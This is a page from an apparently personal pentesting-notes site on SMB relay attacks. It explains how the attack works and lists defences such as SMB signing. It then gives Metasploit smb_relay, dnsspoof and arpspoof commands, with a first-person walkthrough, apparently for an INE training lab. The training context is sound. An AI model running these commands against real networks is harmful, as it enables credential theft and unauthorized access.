Dark Arts
  • index
  • BUY ME A BOOK
  • 🪄Dark Magic
    • Pentesting
      • Industry Methodologies
    • Scopes of Testing
    • Reconnaissance
      • Passive
        • WHOIS
        • DNS
          • nslookup
          • dig
        • WAF
        • Subdomain
        • Google Dork
        • Misc. Techniques
        • Leaked Passwords
      • Active
        • Browser & Plugins
        • ping & traceroute
        • fping
        • telnet & netcat
        • DNS
          • Zone Transfer
          • DNS Amplification DDoS Attack Breakdown
        • Misc. Techniques
    • Vulnerability Assessment
    • Attack Types
  • 🕷️Aragoogs Nest
    • Web Application Overview & Security
      • Security Testing
      • Common Threats & Risks
    • Web Application Architecture
      • Technologies
    • HTTP/S
      • Message
      • Request
      • Response
        • Status Code
    • Crawling/Spidering
  • 🧪Potions
    • Web Browsers
    • Computer Networking
      • Network Protocol
      • Packets
      • OSI Layer
        • Layer 3: Network
        • Layer 4: Transport
      • DNS
        • Primary-Secondary
        • Local Name Resolution
        • Domain Hierarchy
        • FQDN
        • Lookups
        • DNS Resolution
        • DNS Records
        • Security: Attack-Defense (Default)
  • 🎆Spells
    • 📜Linux Scroll
    • 📜WebShell Scroll
    • git
      • Attacks + Vulnerabilities
  • 🖼️Flaws w/ Magical Frameworks
    • Windows
      • In a Nutshell
      • CVE-2019-0708: BlueKeep
      • CVE-2017-0144: EternalBlue: MS17-010
      • Attacking Services
        • MS IIS - WebDAV
        • SMB
        • HTTP File Server (HFS)
        • Apache Tomcat Web Server
        • RDP
        • WinRM
      • File System Vulnerabilities
      • Credential Dumping
        • Password Search in Windows Configuration Files
        • Mimikatz
        • Pass-the-Hash Attack
    • Linux
      • In a Nutshell
      • CVE-2014-6271: Shellshock
      • Attacking Services
        • FTP
        • SSH
        • SAMBA
        • SMTP
        • RSYNC
      • Dumping Hashes
  • 🌼Marauder's Boost
    • Privilege Escalation
    • Windows PrivEsc
      • Windows Kernel Exploit
      • Bypassing UAC
      • Access Token Impersonation
    • Linux PrivEsc
      • Linux Kernel Exploit
      • Misconfigured Cron Jobs
      • Exploiting SUID Binaries
      • shells
      • File Permissions
  • ☠️Death Eaters
    • Post Exploitation
      • Windows
      • Linux
  • 🪄OLLIVANDERS
    • nmap
      • Host Discovery
      • Port Scan
      • Service & OS
      • NSE
      • Firewall/IDS Evasion
      • Scan Optimization
      • Misc. Methods
    • ffuf
    • Hydra
    • Metasploit Framework
      • Architecture
      • Must to Know
      • msfvenom
      • Auxiliary Modules
      • Service Enumeration
      • Vulnerability Scanning
      • Imports
      • Automating
    • Vulnerability Scanners
    • Wireshark
  • 🚂Platform 9(3/4)
    • Auth-Auth
      • Authentication
        • Password-based Authentication
        • Basic Authentication
        • Multi-factor Authentication
        • Access Token
        • Token-based Authentication
          • JWT
          • OAuth 2.0
    • Secure Headers
      • Content-Security-Policy (CSP)
    • Cryptography
      • Caesar Cipher
  • ⛲Port Pensieve
    • Enumeration
      • SMB & NetBIOS
      • SNMP
    • Wordlists
  • 🔆DUELS
    • Pivoting
    • SMB Relay Attack
  • 🗺️Marauder's Map
    • Web Application Pentesting
    • API Pentesting
      • GraphQL
        • Primer
    • Mobile Application Pentesting
  • 🎧SIDE CHANNEL
    • Side Channel Analysis
    • Timing Side-Channel Attacks
      • Vulnerable Login
  • 🥃Sky
    • Cloud Basics
    • Cloud Management
      • Shared Responsibility Model
    • Using Cloud Resources
      • Monitoring & Alerts
      • Identity & Access Management
      • Scalability & Availability
      • Solution Design
    • Cloud Providers
    • Cloud Security & Regulatory Compliance
      • Resource Protection
      • ICCA: Cloud Security & Regulatory Compliance
    • ICCA Preparation
      • Knowledge Tests
      • Lab
  • 🔷Obsidian
    • Pentest Engagement
      • Scoping
    • Pentest Ethics
      • Rules of Engagement
    • Auditing Fundamentals
      • Process/Lifecycle
      • Pentest & Security Auditing
      • GRC
      • Standards, Frameworks & Guidelines
      • From Audit to Pentest
  • 💢Threat Modeling
    • Why Threat Model?
  • 📡THREAT INTEL
    • Threat Intelligence
    • Tool Dump
  • 📱Anything-Mobile-IoT
    • Firmware
    • Firmware Analysis
      • Example: CVE-2016-1555
    • Firmware Installation/Flashing
  • 🎉Mischeif
    • Social Engineering
    • Phishing
      • GoPhish
    • Pretexting
Powered by GitBook
On this page
  • How It Works
  • Attack
  • Task INE
  1. DUELS

SMB Relay Attack

An SMB Relay Attack is a man-in-the-middle (MITM) attack where an attacker intercepts and manipulates SMB (Server Message Block) traffic to gain unauthorized access to network resources. This attack is common in Windows networks, where SMB is used for file sharing, printer sharing, and communication between network devices.

How It Works

  1. Interception (MITM) – The attacker positions themselves between the client and the server, capturing SMB traffic.

  2. Capturing Authentication (NTLM Hash) – The attacker captures the NTLM authentication challenge-response mechanism.

  3. Relaying to a Legitimate Server – The stolen credentials are forwarded to another server where SMB authentication is accepted.

  4. Gaining Access – If the credentials are valid, the attacker can access files, execute commands, or move laterally within the network.

Use SMB Signing to prevent unauthorized message tampering.

Enforce NTLMv2 authentication for better security.

Disable SMBv1 as it lacks security features.

Implement network segmentation to limit attack impact.

Attack

msfconsole
search smb_relay
use exploit/windows/smb/smb_relay
# SRVHOST & LHOST -- my IP; SMBHOST -- target IP; set them in metasploit
exploit

# dns spoofing
echo '[SYSTEM IP] *.domain' > dns
dnsspoof -i eth1 -f dns

echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth1 -t [CLIENT IP] [GATEWAY]
arpspoof -i eth1 -t [GATEWAY] [CLIENT IP]

In this attack, I’m setting up an SMB Relay Attack combined with DNS spoofing and ARP spoofing to intercept and manipulate network traffic.

First, I launch Metasploit and search for the smb_relay exploit. After selecting it, I set my machine’s IP as SRVHOST and LHOST, while SMBHOST is the target’s IP. Once I run the exploit, it listens for SMB authentication requests and relays them to gain unauthorized access.

Next, I configure DNS spoofing by creating a spoofed DNS entry and running dnsspoof. This forces any requests to specific domains to resolve to my malicious system, making victims unknowingly connect to my machine instead of the legitimate server.

To take full control of the network traffic, I enable ARP spoofing using arpspoof. By poisoning the ARP cache of both the victim and the gateway, I position myself as a man-in-the-middle (MITM), intercepting and modifying SMB traffic. This setup allows me to capture credentials, manipulate network connections, and potentially gain unauthorized access to sensitive resources.

Task INE

PreviousPivotingNextWeb Application Pentesting

Last updated 4 months ago

🔆